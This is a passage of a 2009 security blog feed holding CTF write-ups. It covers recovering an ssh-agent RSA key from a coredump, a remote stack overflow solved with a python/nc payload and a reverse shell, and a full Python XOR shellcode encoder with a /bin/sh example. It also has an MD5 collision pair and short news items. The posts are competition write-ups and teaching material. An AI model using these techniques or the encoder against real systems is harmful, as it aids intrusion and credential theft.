 /* all BIGNUM values are actually in the following data,
  * if it is not NULL */
 char *bignum_data;
 BN_BLINDING *blinding;
 BN_BLINDING *mt_blinding;
 };

typedef bignum_st BIGNUM;
struct bignum_st
 {
 BN_ULONG *d;    /* Pointer to an array of 'BN_BITS2' bit chunks. */
 int top;    /* Index of last used d +1. */
 /* The next are internal book keeping for bn_expand. */
 int dmax;    /* Size of the d array. */
 int neg;    /* one if the number is negative */
 int flags;
 };

As one can expect, a RSA structure contains n, e, d, p, q and some other data. We need to get these numbers, which are stored in BIGNUM structures, out of the coredump. So the next thing to do is know where idtable is in the coredump. I load the coredump into bless, my favourite hex editor (click on the image to zoom in):


As you can see, at offset 0×13b0 is socket_name. Based on the analysis of the last paragraph, we can guess that max_fd, parent_pid, and parent_alive_interval are stored in 12 bytes between offset 0×13a4 and 0×13af. Then one can ask, what are those 16 null bytes from offset 0×1394 to 0×13a3? I don’t know. If you know, please drop me a line. But I know for sure, idtable is stored in 36 bytes from offset 0×1370 to 0×1393, just right before those weird 16 null bytes.

The idtable array has 3 entries, one for each SSH protocol version. Each entry is an structure whose length is 12 bytes (hence 36 bytes for the whole array). When ssh-agent starts, each Idtab is initiated like this:

TAILQ_INIT(&idtable.idlist);
idtable.nentries = 0;

where TAILQ_INIT is a macro defined in sys/queue.h as following:

#define    TAILQ_INIT(head) do {
 (head)->tqh_first = NULL;
 (head)->tqh_last = &(head)->tqh_first;
} while (/*CONSTCOND*/0)

So after initiation, an Idtab structure would contain 1 zero integer for nentries, 1 null pointer for idlist.tqh_first, and 1 pointer for idlist.tqh_last which points back to idlist.tqh_first. Looking at the coredump, one can see that the first two Idtab entries of idtable don’t contain any key information because their nentries is 0. This is as expected, since SSH protocol 1 and 1.1 are long deprecated. The last entry of idtable is the Idtab of SSH protocol version 2. As one can see, its nenetries is 1, and we can guess that the pointer 0×0806E3B8 is pointing to an identity structure which contains 4 pointers and 2 integers. Let’s see if this is the case:

$ gdb /usr/bin/ssh-agent core.6261
Core was generated by `/usr/bin/ssh-agent'.
[New process 6261]
#0  0xb7f55424 in __kernel_vsyscall ()

(gdb) x/6x 0x0806E3B8
0x806e3b8:    0x00000000    0x0806297c    0x0806e158    0x0806e3a8
0x806e3c8:    0x00000000    0x00000000

(gdb) x/s 0x0806e3a8
0x806e3a8:     "id_rsa"

As you can see, the 4th pointer is comment. So the 3rd pointer should be key, i.e. it should point to a Key structure which contains 2 integers and 2 pointerss:

(gdb) x/4x 0x0806e158
0x806e158:    0x00000001    0x00000000    0x0806e170    0x00000000

If everything is correct, the pointer 0×0806e170 should point to a RSA structure:

(gdb) x/22x 0x0806e170
0x806e170:    0x00000000    0x00000000    0xb7ed5840    0x00000000
0x806e180:    0x0806e210    0x0806e228    0x0806e240    0x0806e288
0x806e190:    0x0806e270    0x0806e2b8    0x0806e2a0    0x0806e258
0x806e1a0:    0x00000000    0x00000000    0x00000001    0x0000000e
0x806e1b0:    0x00000000    0x00000000    0x00000000    0x00000000
0x806e1c0:    0x0806e950    0x00000000

How to be sure this is a RSA structure? Is there any known value to test? Fortunately, the answer is yes. If this is a RSA structure, the 6th pointer 0×0806e228 should point to a BIGNUM structure containing the value of the e parameter which should be 0×23, the default value that ssh-keygen uses for e. Let’s see:

(gdb) x/5x 0x0806e228
0x806e228:    0x0806e2e0    0x00000001    0x00000001    0x00000000
0x806e238:    0x00000001

(gdb) x/2x 0x0806e2e0
0x806e2e0:    0x00000023  0xb7d39150

Yay! We got it!

The next step is to extract all the parameters. It was not as easy as it sounds though. I spent quite a lot of time to read out the value of these parameters due to my ignorant of big-edian and little-edian storage. But I managed to get them out eventually. I generated the RSA private key from p and q, and used it to SSH into 67.202.60.164 which indeed gave me the key for challenge 7. I got my first breakthrough he he he.

That’s it. Thanks for reading.

Err…but how to generate RSA private key from n, d, e, p and q? I’m glad that you ask. Tools like openssl can not help in this case. You must write your own tool. I suggest you taking a look at ASN.1. There’s a very good tutorial here.

If you understand ASN.1, I’m pretty sure you’d know how to generate RSA private key from its parameters. You can use pyasn1 which is a very good ASN.1 library for Python. I can’t release my tool because it’s part of the upcoming CTF that I’m organizing. After that CTF, I’ll update this post with the tool.

]]>
http://www.vnsecurity.net/2009/10/how-to-recover-rsa-private-key-in-a-coredump-of-ssh-agent-sapheads-hackjam-2009-challenge-6/feed/ 0
Just an MD5 collision pair http://www.vnsecurity.net/2009/09/just-an-md5-collision-pair/ http://www.vnsecurity.net/2009/09/just-an-md5-collision-pair/#comments Wed, 30 Sep 2009 07:32:58 +0000 lamer https://www.vnsecurity.net/2009/09/just-an-md5-collision-pair/

Nothing much in this blog entry. If you’re lucky to land on this page via a Google search, this collision pair might help you.

9011f8697eddc718204b83a6c68bfc05fcd46b03bcfbdc8003763966e99d
907d8ef9f5e7ec6422694b0ec65cebad0b245a70d8c2390b3f1a451048a9
42a4af45dd7416abdcdbff2a67473e2d99a6c2814836ca470779e11ccd57
16c955697d1e0173d6da57ea8eb27bb7c5afa52951c8cdf09cc5c5718f5c
6c5037734bfea8e9

9011f8697eddc718204b83a6c68bfc05fcd46b83bcfbdc8003763966e99d
907d8ef9f5e7ec6422694b0ec65ceb2d0c245a70d8c2390b3f1a45104829
42a4af45dd7416abdcdbff2a67473e2d99a6c2814836cac70779e11ccd57
16c955697d1e0173d6da57ea8eb27bb7c5afa5a950c8cdf09cc5c5718f5c
6c5037f34bfea8e9

]]>
http://www.vnsecurity.net/2009/09/just-an-md5-collision-pair/feed/ 0
Microsoft Security Essentials phiên bản chính thức http://www.vnsecurity.net/2009/09/microsoft-security-essentials-phien-b%e1%ba%a3n-chinh-th%e1%bb%a9c/ http://www.vnsecurity.net/2009/09/microsoft-security-essentials-phien-b%e1%ba%a3n-chinh-th%e1%bb%a9c/#comments Tue, 29 Sep 2009 07:27:57 +0000 lamer https://www.vnsecurity.net/2009/09/microsoft-security-essentials-phien-b%e1%ba%a3n-chinh-th%e1%bb%a9c/

Cái mà mình thật sự quan tâm không phải về chất lượng sản phẩm diệt virus này (nó tốt, ok, http://www.computerworld.com/s/article/9134753/Antivirus_testing_outfit_Microsoft_Security_Essentials_makes_the_grade) mà là:

  1. Còn ai muốn bỏ 290.000đ để mua một sản phẩm diệt virus ba xạo kia không?
  2. Còn đất sống cho các sản phẩm diệt virus cho Windows nữa không?

Khi đọc tin này có lẽ bạn đã có thể download thử MSE tại http://www.microsoft.com/Security_essentials/.

]]>
http://www.vnsecurity.net/2009/09/microsoft-security-essentials-phien-b%e1%ba%a3n-chinh-th%e1%bb%a9c/feed/ 0
Python Shellcode Encoder http://www.vnsecurity.net/2009/09/python-shellcode-encoder/ http://www.vnsecurity.net/2009/09/python-shellcode-encoder/#comments Fri, 25 Sep 2009 07:26:57 +0000 lamer https://www.vnsecurity.net/2009/09/python-shellcode-encoder/

At the moment, the package only sports two encoders: fnstenv and jmp/call encoders. Both are classic xor encoders. Hope you find it useful.

# Shellcode encoder to avoid NUL or special characters
#
# egg = inlineegg.InlineEgg(inlineegg.Linuxx86Syscall)
# egg.setreuid(0, 0)
# egg.execve('/bin/sh', ('/bin/sh', '-i'))
# shellcode = egg.getCode()
# encoder = FnstenvXorEncoder()
# bytes = encoder.encode(shellcode)
# shellcode = ''.join(chr(x) for x in bytes)
#
# if encode() raises EncoderError, if may be due to your shellcode's length is
# divisible by 256. Putting in a NOP and try again.
#
# Copyright 2007 Nam T. Nguyen, distributed under the BSD license

import types
import unittest

class EncoderError(Exception):
    pass

class Encoder(object):

    def encode(self, payload):
        return payload

class XorEncoder(Encoder):

    def __init__(self, disallowed_chars=(0x00, 0x0D, 0x0A)):
        self._disallowed_chars = set(disallowed_chars)
        self._usable_chars = set(range(256)) - self._disallowed_chars

    def _get_supported_register_sets(self):
        return []

    def _get_register_set(self, register_set):
        return {}

    def _get_header(self):
        return []

    def _get_payload_size_position(self):
        raise NotImplementedError()

    def _get_xor_key_position(self):
        raise NotImplementedError()

    def _encode_payload(self, payload, register_sets):
        buffer = []
        if isinstance(payload, types.StringTypes):
            buffer.extend(ord(x) & 0xFF for x in payload)
        else:
            buffer.extend(payload)

        for c in self._usable_chars:
            ret = buffer[:]
            for i in range(len(ret)):
                ret[i] = ret[i] ^ c
                if ret[i] in self._disallowed_chars:
                    # break inner for
                    break
            else:
                self._xor_key = c
                # break outer for
                break
        else:
            raise EncoderError('cannot encode')

        return ret

    def _prefix_header(self, payload, register_sets):
        ret = self._get_header()

        payload_len = 0x10000 - len(payload)
        payload_size_pos = self._get_payload_size_position()
        ret[payload_size_pos] = payload_len & 0xFF
        ret[payload_size_pos + 1] = (
            (payload_len & 0xFF00) >> 8)

        xor_key_pos = self._get_xor_key_position()
        for reg_set in register_sets:
            for pos, value in self._get_register_set(reg_set).iteritems():
                ret[pos] = value
            for i, c in enumerate(ret):
                if (c in self._disallowed_chars) and (
                    i != xor_key_pos):
                    # break the inner for
                    break
            else:
                # break the outter for
                break
        else:
            raise EncoderError('cannot encode')

        ret[xor_key_pos] = self._xor_key
        ret.extend(payload)

        return ret

    def encode(self, payload, register_sets=[]):
        """Encode payload.

        :param payload: the payload, either a string or a sequence of bytes
        :param register_sets: a sequence of registers to try in shellcode
        header. Sample names include 'eax', 'edx', and 'ebx'.
        :return: a sequence of encoded bytes
        """
        if len(payload) == 0:
            return []

        if len(payload) > 65535:
            raise EncoderError('cannot encode')

        if not self._usable_chars:
            raise EncoderError('cannot encode')

        if not register_sets:
            register_sets = self._get_supported_register_sets()

        encoded_payload = self._encode_payload(payload, register_sets)
        ret = self._prefix_header(encoded_payload, register_sets)

        return ret

    def encode_to_string(self, payload, register_sets=[]):
        """Encode payload. Return a string.

        :see: encode
        """
        return ''.join(chr(x) for x in self.encode(payload, register_sets))

class FnstenvXorEncoder(XorEncoder):
    """Fnstenv Xor based on
    http://www.metasploit.com/sc/x86_fnstenv_xor_byte.asm."""
    HEADER = [
        0xD9, 0xE1,                    # fabs
        0xD9, 0x34, 0x24,              # fnstenv [esp]
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x80, 0xEA, 0xE7,              # sub dl,-25     (offset to payload)
        0x31, 0xC9,                    # xor ecx,ecx
        0x66, 0x81, 0xE9, 0xA1, 0xFE,  # sub cx,-0x15F  (0x15F is size of payload)
        0x80, 0x32, 0x99,              # decode: xor byte [edx],0x99
        0x42,                          # inc edx
        0xE2, 0xFA,                    # loop decode
        # payload goes here
    ]

    REGISTER_SET = {
        'edx' : {5: 0x5A, 6: 0x5A, 7: 0x5A, 8: 0x5A, 9: 0x80, 10: 0xEA,
                 20: 0x32, 22: 0x42},
        'eax' : {5: 0x58, 6: 0x58, 7: 0x58, 8: 0x58, # 9: 0x90, 10: 0x2C,
                 9: 0x80, 10: 0xE8,
                 20: 0x30, 22: 0x40},
        'ebx' : {5: 0x5B, 6: 0x5B, 7: 0x5B, 8: 0x5B, 9: 0x80, 10: 0xEB,
                 20: 0x33, 22: 0x43},
    }

    XOR_KEY_POSITION = 21

    PAYLOAD_SIZE_POSITION = 17         # 17 and 18

    def _get_supported_register_sets(self):
        return FnstenvXorEncoder.REGISTER_SET.keys()

    def _get_register_set(self, register_set):
        return FnstenvXorEncoder.REGISTER_SET[register_set]

    def _get_header(self):
        return FnstenvXorEncoder.HEADER[:]

    def _get_payload_size_position(self):
        return FnstenvXorEncoder.PAYLOAD_SIZE_POSITION

    def _get_xor_key_position(self):
        return FnstenvXorEncoder.XOR_KEY_POSITION

class JumpCallXorEncoder(XorEncoder):
    HEADER = [
        0xeb, 0x10,                    # jmp getdata
        0x5b,                          # begin: pop ebx
        0x31, 0xc9,                    # xor ecx, ecx
        0x66, 0x81, 0xe9, 0xa1, 0xfe,  # sub cx, -0x15F
        0x80, 0x33, 0x99,              # decode: xor byte[ebx], 0x99
        0x43,                          # inc ebx
        0xe2, 0xfa,                    # loop decode
        0xeb, 0x05,                    # jmp payload
        0xe8, 0xeb, 0xff, 0xff, 0xff,  # getdata: call begin
        # payload goes here            # payload:
    ]

    REGISTER_SET = {
        'eax': {2: 0x58, 11: 0x30, 13: 0x40},
        'ebx': {2: 0x5b, 11: 0x33, 13: 0x43},
        'edx': {2: 0x5a, 11: 0x32, 13: 0x42},
    }

    XOR_KEY_POSITION = 12

    PAYLOAD_SIZE_POSITION = 8

    def _get_header(self):
        return JumpCallXorEncoder.HEADER[:]

    def _get_supported_register_sets(self):
        return JumpCallXorEncoder.REGISTER_SET.keys()

    def _get_register_set(self, register_set):
        return JumpCallXorEncoder.REGISTER_SET[register_set]

    def _get_payload_size_position(self):
        return JumpCallXorEncoder.PAYLOAD_SIZE_POSITION

    def _get_xor_key_position(self):
        return JumpCallXorEncoder.XOR_KEY_POSITION

class TestFnstenvXorEncoder(unittest.TestCase):

    def testEmptyShellcode(self):
        encoder = FnstenvXorEncoder()
        self.assertEqual([], encoder.encode(""))

    def testRegisterSet(self):
        encoder = FnstenvXorEncoder()
        ret = encoder.encode("\x00", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x01, 0x42, 0xe2,
                               0xfa, 0x01])
        ret = encoder.encode("\x00", ['eax'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x58, 0x58, 0x58,
                               0x58, 0x80, 0xe8, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x30, 0x01, 0x40, 0xe2,
                               0xfa, 0x01])
        ret = encoder.encode("\x00", ['ebx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5b, 0x5b, 0x5b,
                               0x5b, 0x80, 0xeb, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x33, 0x01, 0x43, 0xe2,
                               0xfa, 0x01])
        self.assertRaises(KeyError, encoder.encode, "\x00", ['regset'])

    def testDisallowedCharsInHeader(self):
        encoder = FnstenvXorEncoder(range(256))
        self.assertRaises(EncoderError, encoder.encode, "\x7F")
        encoder = FnstenvXorEncoder([0xE1])
        self.assertRaises(EncoderError, encoder.encode, "\x00")
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02])
        ret = encoder.encode("\x00", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x03, 0x42, 0xe2,
                               0xfa, 0x03])

    def testDisallowedCharsInPayload(self):
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02])
        ret = encoder.encode("\x03", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x04, 0x42, 0xe2,
                               0xfa, 0x07])
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02, 0x04])
        ret = encoder.encode("\x03", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x05, 0x42, 0xe2,
                               0xfa, 0x06])

if __name__ == "__main__":
    unittest.main()

]]>
http://www.vnsecurity.net/2009/09/python-shellcode-encoder/feed/ 0
ISEC 2009 CTF Prequal – Challenge 4 http://www.vnsecurity.net/2009/08/isec-2009-ctf-prequal-challenge-4/ http://www.vnsecurity.net/2009/08/isec-2009-ctf-prequal-challenge-4/#comments Thu, 27 Aug 2009 09:49:26 +0000 leenmie https://www.vnsecurity.net/2009/08/isec-2009-ctf-prequal-challenge-4/

This was a funny challenge. Below are two pictures provided by the organizer. Just use a picture compare tool and look in to the girl’s boobs. There is nothing to say more.

Picture 1:

ISEC 2009 CTF Prequal Img1

ISEC 2009 CTF Prequal Img1

Picture 2:

ISEC 2009 CTF Prequal Img2

ISEC 2009 CTF Prequal Img2

Comparing the two pictures using Beyond Compare tool, the secret will be revealed.

Compare 2 Images

Compare 2 Images

The keyword is “OH, WTF” (the text on the pink girl boobs ^^,)

It’s really funny.

]]>
http://www.vnsecurity.net/2009/08/isec-2009-ctf-prequal-challenge-4/feed/ 0
WOWHacker CTF – Challenge 2 and Challenge 9 http://www.vnsecurity.net/2009/08/wowhacker-ctf-challenge-2-and-challenge-9/ http://www.vnsecurity.net/2009/08/wowhacker-ctf-challenge-2-and-challenge-9/#comments Wed, 26 Aug 2009 12:19:01 +0000 thaidn https://www.vnsecurity.net/2009/08/wowhacker-ctf-challenge-2-and-challenge-9/

Challenge 2

Challenge 2 is simple yet interesting. The initial target is a Python 2.2 byte-compiled file, so the first job is to decompile it to get the source code. Fortunately, decompyle just works:

$ decompyle newbie.pyc

Thu Aug 27 02:13:25 2009
# emacs-mode: -*- python-*-
import urllib
def some_cryption(arg):
    pass
a = 'http://'
dummy = 'http://korea'
b = 'uxcpb.xe'
b = b.encode('rot13')
c = 'co.kr'
cs = '.com'
d = '/vfrp/uxuxux'
dt = '/hackers'
d = d.encode('rot13')
dx = 'coolguys'
ff = urllib.urlopen(((a + b) + d))
f_data = ff.read()
file = open('hkhkhk', 'w')
file.write(f_data)
some_cryption(f_data)
file.close()

You can see that the purpose of this script is to download some data from a fixed URL, and save them to a file named hkhkhk. We ran the script, and it indeed downloaded this file. As the script suggests, the content of hkhkhk is encrypted by some cipher. 

Opening hkhkhk in a hex editor, one could see that it contains quite a lot of 0×77 characters. A friend of us, Julianor from Netifera, thought that hkhkhk is an executable file, and because excutable file contains a lot of null bytes so 0×77 may be the null byte in the original file. He suggested xoring the content of hkhkhk against 0×77. We did as he suggested, and it worked :-D. hkhkhk turns out to be an ELF executable file:

$ file hkhkhk
hkhkhk: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped

$ ./hkhkhk
./hkhkhk [server] [port]

---------------------------
server&gt; 221.143.48.88
port&gt; 1111, 2222, ..., 9999
---------------------------

Disassembling hkhkhk reveals that this binary is just a simple client that connects to a remote server to get two integers, and send the sum of them back to that server. If the result is correct (which is always), the server will return a congratulation message like below:

$ ./hkhkhk 221.143.48.88 1111
[(867925) + (9792)] = ?
answer is 877717
it's correct. great!, :-)

At first, we thought we should try to exploit the server to force it to return an error or something, but that didn’t work. Then we thought there’s something hidden inside hkhkhk, so superkhung and I spent 1 hour to inspect every single instruction of the binary, but we saw nothing weird.

At this point, a friend suggested us running the binary inside a debugger. He thought that there may be something hidden in the communication between the server and hkhkhk.

The communication? I fired up wireshark, and to my surprise, I saw the answer right away: Pandas likes hkpco XD. It turns out that the congratulation message is something like:

it's correct. great!, :-)<b>\x00</b>Password is "Pandas likes hkpco XD"

This message is passed to a printf call, and since printf expects a null-terminated string, one could never see the characters after the null byte if he doesn’t run the binary inside a debugger, or sniff the communication like us.

Challenge 9

Challenge 9 (IP: 221.143.48.88; port :4600) is a remote stack-based buffer overflow exploitation. It’s interesting because WOWHacker doesn’t release the binary as other usual exploitation challenges.

While I was banging my head against challenge 8, gamma95 told me that he could crash challenge 9 with 293 bytes. He thought that this challenge is very obvious, and wondered why none was working on it.

Actually we were very short on manpower in the first day of the premilinary round. So we chose to work only on those challenges that we were interested in or had a larger chance of solving them.

When I first saw challenge 9, I thought this challenge should be hard. Blind remote exploitation is supposed to be hard you know. This wrong assumption plus the fact that I haven’t practiced software exploitation in the last several months made me decide to leave this challenge for other teamates who might join us in the second day.

But it turns out this challenge is an easy one.

In order to exploit a stack-based buffer overflow vulnerability, one must know which address to return to. Fortunately, WOWHacker gives us a very helpful hint:

Mr.Her give you something "call me~ call me~" : bfbfeaf2

So 0xbfbfeaf2 is the return address. Normally this address should point to the beginning of our input buffer which in turn should have this structure:

&lt;SHELLCODE&gt;&lt;NOP SLED&gt;&lt;\xf2\xea\xbf\xbf&gt;

The next problem is to determine how many bytes we need to control the EIP. The trick is to use \xeb\xfe as the shellcode, and increase the message one byte a time until we see the service hang after it processes our input. If our theory of the structure of the input buffer is correct, this process will succeed eventually because \xeb\xfe means “loop forever”:

$ echo -ne '\xeb\xfe' | ndisasm -
00000000  EBFE              jmp short 0x0

Using this technique, we can see that we need totally 302 bytes to control the EIP:

$ (python -c 'print "\xeb\xfe" * 149 + "\xf2\xea\xbf\xbf"'; cat) | nc 221.143.48.88 4600

We use Metasploit to generate a BSD reverse-shell shellcode, and we got the answer: WOWHACKER without beist.

Actually this wasn’t as easy as we write here. We made two stupid mistakes: first off, we assumed that this challenge ran on a Linux box; secondly, our connect back box was behind a firewall :-(. Thanks Tora and biest for giving us a hand in resolving them.

]]>
http://www.vnsecurity.net/2009/08/wowhacker-ctf-challenge-2-and-challenge-9/feed/ 0